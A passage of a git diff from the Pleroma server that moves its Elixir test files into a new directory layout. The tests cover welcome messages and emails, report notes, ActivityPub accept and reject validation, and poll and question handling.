+ group: :pleroma, + key: :welcome, + value: [ + direct_message: %{ + enabled: true, + message: "Test message", + sender_nickname: "jimm" + }, + email: %{ + enabled: false, + html: "Welcome to <%= instance_name %>", + sender: nil, + subject: "Welcome to <%= instance_name %>", + text: "Welcome to <%= instance_name %>" + } + ] + ) + + migration.down() + + refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) + instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) + + assert instance_config.value == [ + name: "Pleroma App", + welcome_user_nickname: "jimm", + welcome_message: "Test message" + ] + end + end +end diff --git a/test/pleroma/report_note_test.exs b/test/pleroma/report_note_test.exs new file mode 100644 index 000000000..25c1d6a61 --- /dev/null +++ b/test/pleroma/report_note_test.exs @@ -0,0 +1,16 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ReportNoteTest do + alias Pleroma.ReportNote + use Pleroma.DataCase + import Pleroma.Factory + + test "create/3" do + user = insert(:user) + report = insert(:report_activity) + assert {:ok, note} = ReportNote.create(user.id, report.id, "naughty boy") + assert note.content == "naughty boy" + end +end diff --git a/test/pleroma/user/welcome_chat_message_test.exs b/test/pleroma/user/welcome_chat_message_test.exs new file mode 100644 index 000000000..fe26d6e4d --- /dev/null +++ b/test/pleroma/user/welcome_chat_message_test.exs @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.WelcomeChatMessageTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.User.WelcomeChatMessage + + import Pleroma.Factory + + setup do: clear_config([:welcome]) + + describe "post_message/1" do + test "send a chat welcome message" do + welcome_user = insert(:user, name: "mewmew") + user = insert(:user) + + Config.put([:welcome, :chat_message, :enabled], true) + Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) + + Config.put( + [:welcome, :chat_message, :message], + "Hello, welcome to Blob/Cat!" + ) + + {:ok, %Pleroma.Activity{} = activity} = WelcomeChatMessage.post_message(user) + + assert user.ap_id in activity.recipients + assert Pleroma.Object.normalize(activity).data["type"] == "ChatMessage" + assert Pleroma.Object.normalize(activity).data["content"] == "Hello, welcome to Blob/Cat!" + end + end +end diff --git a/test/pleroma/user/welcome_email_test.exs b/test/pleroma/user/welcome_email_test.exs new file mode 100644 index 000000000..d005d11b2 --- /dev/null +++ b/test/pleroma/user/welcome_email_test.exs @@ -0,0 +1,61 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.WelcomeEmailTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User.WelcomeEmail + + import Pleroma.Factory + import Swoosh.TestAssertions + + setup do: clear_config([:welcome]) + + describe "send_email/1" do + test "send a welcome email" do + user = insert(:user, name: "Jimm") + + Config.put([:welcome, :email, :enabled], true) + Config.put([:welcome, :email, :sender], "welcome@pleroma.app") + + Config.put( + [:welcome, :email, :subject], + "Hello, welcome to pleroma: <%= instance_name %>" + ) + + Config.put( + [:welcome, :email, :html], + "<h1>Hello <%= user.name %>.</h1> <p>Welcome to <%= instance_name %></p>" + ) + + instance_name = Config.get([:instance, :name]) + + {:ok, _job} = WelcomeEmail.send_email(user) + + ObanHelpers.perform_all() + + assert_email_sent( + from: {instance_name, "welcome@pleroma.app"}, + to: {user.name, user.email}, + subject: "Hello, welcome to pleroma: #{instance_name}", + html_body: "<h1>Hello #{user.name}.</h1> <p>Welcome to #{instance_name}</p>" + ) + + Config.put([:welcome, :email, :sender], {"Pleroma App", "welcome@pleroma.app"}) + + {:ok, _job} = WelcomeEmail.send_email(user) + + ObanHelpers.perform_all() + + assert_email_sent( + from: {"Pleroma App", "welcome@pleroma.app"}, + to: {user.name, user.email}, + subject: "Hello, welcome to pleroma: #{instance_name}", + html_body: "<h1>Hello #{user.name}.</h1> <p>Welcome to #{instance_name}</p>" + ) + end + end +end diff --git a/test/pleroma/user/welcome_message_test.exs b/test/pleroma/user/welcome_message_test.exs new file mode 100644 index 000000000..3cd6f5cb7 --- /dev/null +++ b/test/pleroma/user/welcome_message_test.exs @@ -0,0 +1,34 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.WelcomeMessageTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.User.WelcomeMessage + + import Pleroma.Factory + + setup do: clear_config([:welcome]) + + describe "post_message/1" do + test "send a direct welcome message" do + welcome_user = insert(:user) + user = insert(:user, name: "Jimm") + + Config.put([:welcome, :direct_message, :enabled], true) + Config.put([:welcome, :direct_message, :sender_nickname], welcome_user.nickname) + + Config.put( + [:welcome, :direct_message, :message], + "Hello. Welcome to Pleroma" + ) + + {:ok, %Pleroma.Activity{} = activity} = WelcomeMessage.post_message(user) + assert user.ap_id in activity.recipients + assert activity.data["directMessage"] == true + assert Pleroma.Object.normalize(activity).data["content"] =~ "Hello. Welcome to Pleroma" + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/accept_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/accept_validation_test.exs new file mode 100644 index 000000000..d6111ba41 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/accept_validation_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.AcceptValidationTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.ActivityPub.Pipeline + + import Pleroma.Factory + + setup do + follower = insert(:user) + followed = insert(:user, local: false) + + {:ok, follow_data, _} = Builder.follow(follower, followed) + {:ok, follow_activity, _} = Pipeline.common_pipeline(follow_data, local: true) + + {:ok, accept_data, _} = Builder.accept(followed, follow_activity) + + %{accept_data: accept_data, followed: followed} + end + + test "it validates a basic 'accept'", %{accept_data: accept_data} do + assert {:ok, _, _} = ObjectValidator.validate(accept_data, []) + end + + test "it fails when the actor doesn't exist", %{accept_data: accept_data} do + accept_data = + accept_data + |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") + + assert {:error, _} = ObjectValidator.validate(accept_data, []) + end + + test "it fails when the accepted activity doesn't exist", %{accept_data: accept_data} do + accept_data = + accept_data + |> Map.put("object", "https://gensokyo.2hu/users/raymoo/follows/1") + + assert {:error, _} = ObjectValidator.validate(accept_data, []) + end + + test "for an accepted follow, it only validates if the actor of the accept is the followed actor", + %{accept_data: accept_data} do + stranger = insert(:user) + + accept_data = + accept_data + |> Map.put("actor", stranger.ap_id) + + assert {:error, _} = ObjectValidator.validate(accept_data, []) + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/reject_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/reject_validation_test.exs new file mode 100644 index 000000000..370bb6e5c --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/reject_validation_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.RejectValidationTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.ActivityPub.Pipeline + + import Pleroma.Factory + + setup do + follower = insert(:user) + followed = insert(:user, local: false) + + {:ok, follow_data, _} = Builder.follow(follower, followed) + {:ok, follow_activity, _} = Pipeline.common_pipeline(follow_data, local: true) + + {:ok, reject_data, _} = Builder.reject(followed, follow_activity) + + %{reject_data: reject_data, followed: followed} + end + + test "it validates a basic 'reject'", %{reject_data: reject_data} do + assert {:ok, _, _} = ObjectValidator.validate(reject_data, []) + end + + test "it fails when the actor doesn't exist", %{reject_data: reject_data} do + reject_data = + reject_data + |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") + + assert {:error, _} = ObjectValidator.validate(reject_data, []) + end + + test "it fails when the rejected activity doesn't exist", %{reject_data: reject_data} do + reject_data = + reject_data + |> Map.put("object", "https://gensokyo.2hu/users/raymoo/follows/1") + + assert {:error, _} = ObjectValidator.validate(reject_data, []) + end + + test "for an rejected follow, it only validates if the actor of the reject is the followed actor", + %{reject_data: reject_data} do + stranger = insert(:user) + + reject_data = + reject_data + |> Map.put("actor", stranger.ap_id) + + assert {:error, _} = ObjectValidator.validate(reject_data, []) + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/accept_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/accept_handling_test.exs new file mode 100644 index 000000000..77d468f5c --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/accept_handling_test.exs @@ -0,0 +1,91 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.AcceptHandlingTest do + use Pleroma.DataCase + + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "it works for incoming accepts which were pre-accepted" do + follower = insert(:user) + followed = insert(:user) + + {:ok, follower} = User.follow(follower, followed) + assert User.following?(follower, followed) == true + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) + + accept_data = + File.read!("test/fixtures/mastodon-accept-activity.json") + |> Poison.decode!() + |> Map.put("actor", followed.ap_id) + + object = + accept_data["object"] + |> Map.put("actor", follower.ap_id) + |> Map.put("id", follow_activity.data["id"]) + + accept_data = Map.put(accept_data, "object", object) + + {:ok, activity} = Transmogrifier.handle_incoming(accept_data) + refute activity.local + + assert activity.data["object"] == follow_activity.data["id"] + + assert activity.data["id"] == accept_data["id"] + + follower = User.get_cached_by_id(follower.id) + + assert User.following?(follower, followed) == true + end + + test "it works for incoming accepts which are referenced by IRI only" do + follower = insert(:user) + followed = insert(:user, locked: true) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) + + accept_data = + File.read!("test/fixtures/mastodon-accept-activity.json") + |> Poison.decode!() + |> Map.put("actor", followed.ap_id) + |> Map.put("object", follow_activity.data["id"]) + + {:ok, activity} = Transmogrifier.handle_incoming(accept_data) + assert activity.data["object"] == follow_activity.data["id"] + + follower = User.get_cached_by_id(follower.id) + + assert User.following?(follower, followed) == true + + follower = User.get_by_id(follower.id) + assert follower.following_count == 1 + + followed = User.get_by_id(followed.id) + assert followed.follower_count == 1 + end + + test "it fails for incoming accepts which cannot be correlated" do + follower = insert(:user) + followed = insert(:user, locked: true) + + accept_data = + File.read!("test/fixtures/mastodon-accept-activity.json") + |> Poison.decode!() + |> Map.put("actor", followed.ap_id) + + accept_data = + Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id)) + + {:error, _} = Transmogrifier.handle_incoming(accept_data) + + follower = User.get_cached_by_id(follower.id) + + refute User.following?(follower, followed) == true + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/answer_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/answer_handling_test.exs new file mode 100644 index 000000000..0f6605c3f --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/answer_handling_test.exs @@ -0,0 +1,78 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.AnswerHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "incoming, rewrites Note to Answer and increments vote counters" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "suya...", + poll: %{options: ["suya", "suya.", "suya.."], expires_in: 10} + }) + + object = Object.normalize(activity) + + data = + File.read!("test/fixtures/mastodon-vote.json") + |> Poison.decode!() + |> Kernel.put_in(["to"], user.ap_id) + |> Kernel.put_in(["object", "inReplyTo"], object.data["id"]) + |> Kernel.put_in(["object", "to"], user.ap_id) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + answer_object = Object.normalize(activity) + assert answer_object.data["type"] == "Answer" + assert answer_object.data["inReplyTo"] == object.data["id"] + + new_object = Object.get_by_ap_id(object.data["id"]) + assert new_object.data["replies_count"] == object.data["replies_count"] + + assert Enum.any?( + new_object.data["oneOf"], + fn + %{"name" => "suya..", "replies" => %{"totalItems" => 1}} -> true + _ -> false + end + ) + end + + test "outgoing, rewrites Answer to Note" do + user = insert(:user) + + {:ok, poll_activity} = + CommonAPI.post(user, %{ + status: "suya...", + poll: %{options: ["suya", "suya.", "suya.."], expires_in: 10} + }) + + poll_object = Object.normalize(poll_activity) + # TODO: Replace with CommonAPI vote creation when implemented + data = + File.read!("test/fixtures/mastodon-vote.json") + |> Poison.decode!() + |> Kernel.put_in(["to"], user.ap_id) + |> Kernel.put_in(["object", "inReplyTo"], poll_object.data["id"]) + |> Kernel.put_in(["object", "to"], user.ap_id) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + {:ok, data} = Transmogrifier.prepare_outgoing(activity.data) + + assert data["object"]["type"] == "Note" + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/question_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/question_handling_test.exs new file mode 100644 index 000000000..d2822ce75 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/question_handling_test.exs @@ -0,0 +1,176 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.QuestionHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "Mastodon Question activity" do + data = File.read!("test/fixtures/mastodon-question-activity.json") |> Poison.decode!() + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + object = Object.normalize(activity, false) + + assert object.data["url"] == "https://mastodon.sdf.org/@rinpatch/102070944809637304" + + assert object.data["closed"] == "2019-05-11T09:03:36Z" + + assert object.data["context"] == activity.data["context"] + + assert object.data["context"] == + "tag:mastodon.sdf.org,2019-05-10:objectId=15095122:objectType=Conversation" + + assert object.data["context_id"] + + assert object.data["anyOf"] == [] + + assert Enum.sort(object.data["oneOf"]) == + Enum.sort([ + %{ + "name" => "25 char limit is dumb", + "replies" => %{"totalItems" => 0, "type" => "Collection"}, + "type" => "Note" + }, + %{ + "name" => "Dunno", + "replies" => %{"totalItems" => 0, "type" => "Collection"}, + "type" => "Note" + }, + %{ + "name" => "Everyone knows that!", + "replies" => %{"totalItems" => 1, "type" => "Collection"}, + "type" => "Note" + }, + %{ + "name" => "I can't even fit a funny", + "replies" => %{"totalItems" => 1, "type" => "Collection"}, + "type" => "Note" + } + ]) + + user = insert(:user) + + {:ok, reply_activity} = CommonAPI.post(user, %{status: "hewwo", in_reply_to_id: activity.id}) + + reply_object = Object.normalize(reply_activity, false) + + assert reply_object.data["context"] == object.data["context"] + assert reply_object.data["context_id"] == object.data["context_id"] + end + + test "Mastodon Question activity with HTML tags in plaintext" do + options = [ + %{ + "type" => "Note", + "name" => "<input type=\"date\">", + "replies" => %{"totalItems" => 0, "type" => "Collection"} + }, + %{ + "type" => "Note", + "name" => "<input type=\"date\"/>", + "replies" => %{"totalItems" => 0, "type" => "Collection"} + }, + %{ + "type" => "Note", + "name" => "<input type=\"date\" />", + "replies" => %{"totalItems" => 1, "type" => "Collection"} + }, + %{ + "type" => "Note", + "name" => "<input type=\"date\"></input>", + "replies" => %{"totalItems" => 1, "type" => "Collection"} + } + ] + + data = + File.read!("test/fixtures/mastodon-question-activity.json") + |> Poison.decode!() + |> Kernel.put_in(["object", "oneOf"], options) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + object = Object.normalize(activity, false) + + assert Enum.sort(object.data["oneOf"]) == Enum.sort(options) + end + + test "Mastodon Question activity with custom emojis" do + options = [ + %{ + "type" => "Note", + "name" => ":blobcat:", + "replies" => %{"totalItems" => 0, "type" => "Collection"} + }, + %{ + "type" => "Note", + "name" => ":blobfox:", + "replies" => %{"totalItems" => 0, "type" => "Collection"} + } + ] + + tag = [ + %{ + "icon" => %{ + "type" => "Image", + "url" => "https://blob.cat/emoji/custom/blobcats/blobcat.png" + }, + "id" => "https://blob.cat/emoji/custom/blobcats/blobcat.png", + "name" => ":blobcat:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + }, + %{ + "icon" => %{"type" => "Image", "url" => "https://blob.cat/emoji/blobfox/blobfox.png"}, + "id" => "https://blob.cat/emoji/blobfox/blobfox.png", + "name" => ":blobfox:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + } + ] + + data = + File.read!("test/fixtures/mastodon-question-activity.json") + |> Poison.decode!() + |> Kernel.put_in(["object", "oneOf"], options) + |> Kernel.put_in(["object", "tag"], tag) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + object = Object.normalize(activity, false) + + assert object.data["oneOf"] == options + + assert object.data["emoji"] == %{ + "blobcat" => "https://blob.cat/emoji/custom/blobcats/blobcat.png", + "blobfox" => "https://blob.cat/emoji/blobfox/blobfox.png" + } + end + + test "returns same activity if received a second time" do + data = File.read!("test/fixtures/mastodon-question-activity.json") |> Poison.decode!() + + assert {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert {:ok, ^activity} = Transmogrifier.handle_incoming(data) + end + + test "accepts a Question with no content" do + data = + File.read!("test/fixtures/mastodon-question-activity.json") + |> Poison.decode!() + |> Kernel.put_in(["object", "content"], "") + + assert {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data) + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/reject_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/reject_handling_test.exs new file mode 100644 index 000000000..7592fbe1c --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/reject_handling_test.exs @@ -0,0 +1,67 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.RejectHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "it fails for incoming rejects which cannot be correlated" do + follower = insert(:user) + followed = insert(:user, locked: true) + + accept_data = + File.read!("test/fixtures/mastodon-reject-activity.json") + |> Poison.decode!() + |> Map.put("actor", followed.ap_id) + + accept_data = + Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id)) + + {:error, _} = Transmogrifier.handle_incoming(accept_data) + + follower = User.get_cached_by_id(follower.id) + + refute User.following?(follower, followed) == true + end + + test "it works for incoming rejects which are referenced by IRI only" do + follower = insert(:user) + followed = insert(:user, locked: true) + + {:ok, follower} = User.follow(follower, followed) + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) + + assert User.following?(follower, followed) == true + + reject_data = + File.read!("test/fixtures/mastodon-reject-activity.json") + |> Poison.decode!() + |> Map.put("actor", followed.ap_id) + |> Map.put("object", follow_activity.data["id"]) + + {:ok, %Activity{data: _}} = Transmogrifier.handle_incoming(reject_data) + + follower = User.get_cached_by_id(follower.id) + + assert User.following?(follower, followed) == false + end + + test "it rejects activities without a valid ID" do + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + |> Map.put("id", "") + + :error = Transmogrifier.handle_incoming(data) + end +end diff --git a/test/pleroma/web/plugs/frontend_static_plug_test.exs b/test/pleroma/web/plugs/frontend_static_plug_test.exs new file mode 100644 index 000000000..f6f7d7bdb --- /dev/null +++ b/test/pleroma/web/plugs/frontend_static_plug_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.FrontendStaticPlugTest do + use Pleroma.Web.ConnCase + + @dir "test/tmp/instance_static" + + setup do + File.mkdir_p!(@dir) + on_exit(fn -> File.rm_rf(@dir) end) + end + + setup do: clear_config([:instance, :static_dir], @dir) + + test "init will give a static plug config + the frontend type" do + opts = + [ + at: "/admin", + frontend_type: :admin + ] + |> Pleroma.Web.Plugs.FrontendStatic.init() + + assert opts[:at] == ["admin"] + assert opts[:frontend_type] == :admin + end + + test "overrides existing static files", %{conn: conn} do + name = "pelmora" + ref = "uguu" + + clear_config([:frontends, :primary], %{"name" => name, "ref" => ref}) + path = "#{@dir}/frontends/#{name}/#{ref}" + + File.mkdir_p!(path) + File.write!("#{path}/index.html", "from frontend plug") + + index = get(conn, "/") + assert html_response(index, 200) == "from frontend plug" + end + + test "overrides existing static files for the `pleroma/admin` path", %{conn: conn} do + name = "pelmora" + ref = "uguu" + + clear_config([:frontends, :admin], %{"name" => name, "ref" => ref}) + path = "#{@dir}/frontends/#{name}/#{ref}" + + File.mkdir_p!(path) + File.write!("#{path}/index.html", "from frontend plug") + + index = get(conn, "/pleroma/admin/") + assert html_response(index, 200) == "from frontend plug" + end +end diff --git a/test/plugs/frontend_static_test.exs b/test/plugs/frontend_static_test.exs deleted file mode 100644 index 6f4923048..000000000 --- a/test/plugs/frontend_static_test.exs +++ /dev/null @@ -1,57 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FrontendStaticPlugTest do - alias Pleroma.Plugs.FrontendStatic - use Pleroma.Web.ConnCase - - @dir "test/tmp/instance_static" - - setup do - File.mkdir_p!(@dir) - on_exit(fn -> File.rm_rf(@dir) end) - end - - setup do: clear_config([:instance, :static_dir], @dir) - - test "init will give a static plug config + the frontend type" do - opts = - [ - at: "/admin", - frontend_type: :admin - ] - |> FrontendStatic.init() - - assert opts[:at] == ["admin"] - assert opts[:frontend_type] == :admin - end - - test "overrides existing static files", %{conn: conn} do - name = "pelmora" - ref = "uguu" - - clear_config([:frontends, :primary], %{"name" => name, "ref" => ref}) - path = "#{@dir}/frontends/#{name}/#{ref}" - - File.mkdir_p!(path) - File.write!("#{path}/index.html", "from frontend plug") - - index = get(conn, "/") - assert html_response(index, 200) == "from frontend plug" - end - - test "overrides existing static files for the `pleroma/admin` path", %{conn: conn} do - name = "pelmora" - ref = "uguu" - - clear_config([:frontends, :admin], %{"name" => name, "ref" => ref}) - path = "#{@dir}/frontends/#{name}/#{ref}" - - File.mkdir_p!(path) - File.write!("#{path}/index.html", "from frontend plug") - - index = get(conn, "/pleroma/admin/") - assert html_response(index, 200) == "from frontend plug" - end -end diff --git a/test/report_note_test.exs b/test/report_note_test.exs deleted file mode 100644 index 25c1d6a61..000000000 --- a/test/report_note_test.exs +++ /dev/null @@ -1,16 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ReportNoteTest do - alias Pleroma.ReportNote - use Pleroma.DataCase - import Pleroma.Factory - - test "create/3" do - user = insert(:user) - report = insert(:report_activity) - assert {:ok, note} = ReportNote.create(user.id, report.id, "naughty boy") - assert note.content == "naughty boy" - end -end diff --git a/test/user/welcome_chat_massage_test.exs b/test/user/welcome_chat_massage_test.exs deleted file mode 100644 index fe26d6e4d..000000000 --- a/test/user/welcome_chat_massage_test.exs +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.User.WelcomeChatMessageTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.User.WelcomeChatMessage - - import Pleroma.Factory - - setup do: clear_config([:welcome]) - - describe "post_message/1" do - test "send a chat welcome message" do - welcome_user = insert(:user, name: "mewmew") - user = insert(:user) - - Config.put([:welcome, :chat_message, :enabled], true) - Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) - - Config.put( - [:welcome, :chat_message, :message], - "Hello, welcome to Blob/Cat!" - ) - - {:ok, %Pleroma.Activity{} = activity} = WelcomeChatMessage.post_message(user) - - assert user.ap_id in activity.recipients - assert Pleroma.Object.normalize(activity).data["type"] == "ChatMessage" - assert Pleroma.Object.normalize(activity).data["content"] == "Hello, welcome to Blob/Cat!" - end - end -end diff --git a/test/user/welcome_email_test.exs b/test/user/welcome_email_test.exs deleted file mode 100644 index d005d11b2..000000000 --- a/test/user/welcome_email_test.exs +++ /dev/null @@ -1,61 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.User.WelcomeEmailTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User.WelcomeEmail - - import Pleroma.Factory - import Swoosh.TestAssertions - - setup do: clear_config([:welcome]) - - describe "send_email/1" do - test "send a welcome email" do - user = insert(:user, name: "Jimm") - - Config.put([:welcome, :email, :enabled], true) - Config.put([:welcome, :email, :sender], "welcome@pleroma.app") - - Config.put( - [:welcome, :email, :subject], - "Hello, welcome to pleroma: <%= instance_name %>" - ) - - Config.put( - [:welcome, :email, :html], - "<h1>Hello <%= user.name %>.</h1> <p>Welcome to <%= instance_name %></p>" - ) - - instance_name = Config.get([:instance, :name]) - - {:ok, _job} = WelcomeEmail.send_email(user) - - ObanHelpers.perform_all() - - assert_email_sent( - from: {instance_name, "welcome@pleroma.app"}, - to: {user.name, user.email}, - subject: "Hello, welcome to pleroma: #{instance_name}", - html_body: "<h1>Hello #{user.name}.</h1> <p>Welcome to #{instance_name}</p>" - ) - - Config.put([:welcome, :email, :sender], {"Pleroma App", "welcome@pleroma.app"}) - - {:ok, _job} = WelcomeEmail.send_email(user) - - ObanHelpers.perform_all() - - assert_email_sent( - from: {"Pleroma App", "welcome@pleroma.app"}, - to: {user.name, user.email}, - subject: "Hello, welcome to pleroma: #{instance_name}", - html_body: "<h1>Hello #{user.name}.</h1> <p>Welcome to #{instance_name}</p>" - ) - end - end -end diff --git a/test/user/welcome_message_test.exs b/test/user/welcome_message_test.exs deleted file mode 100644 index 3cd6f5cb7..000000000 --- a/test/user/welcome_message_test.exs +++ /dev/null @@ -1,34 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.User.WelcomeMessageTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.User.WelcomeMessage - - import Pleroma.Factory - - setup do: clear_config([:welcome]) - - describe "post_message/1" do - test "send a direct welcome message" do - welcome_user = insert(:user) - user = insert(:user, name: "Jimm") - - Config.put([:welcome, :direct_message, :enabled], true) - Config.put([:welcome, :direct_message, :sender_nickname], welcome_user.nickname) - - Config.put( - [:welcome, :direct_message, :message], - "Hello. Welcome to Pleroma" - ) - - {:ok, %Pleroma.Activity{} = activity} = WelcomeMessage.post_message(user) - assert user.ap_id in activity.recipients - assert activity.data["directMessage"] == true - assert Pleroma.Object.normalize(activity).data["content"] =~ "Hello. Welcome to Pleroma" - end - end -end diff --git a/test/web/activity_pub/object_validators/accept_validation_test.exs b/test/web/activity_pub/object_validators/accept_validation_test.exs deleted file mode 100644 index d6111ba41..000000000 --- a/test/web/activity_pub/object_validators/accept_validation_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.AcceptValidationTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.ActivityPub.Pipeline - - import Pleroma.Factory - - setup do - follower = insert(:user) - followed = insert(:user, local: false) - - {:ok, follow_data, _} = Builder.follow(follower, followed) - {:ok, follow_activity, _} = Pipeline.common_pipeline(follow_data, local: true) - - {:ok, accept_data, _} = Builder.accept(followed, follow_activity) - - %{accept_data: accept_data, followed: followed} - end - - test "it validates a basic 'accept'", %{accept_data: accept_data} do - assert {:ok, _, _} = ObjectValidator.validate(accept_data, []) - end - - test "it fails when the actor doesn't exist", %{accept_data: accept_data} do - accept_data = - accept_data - |> Map.put("actor", 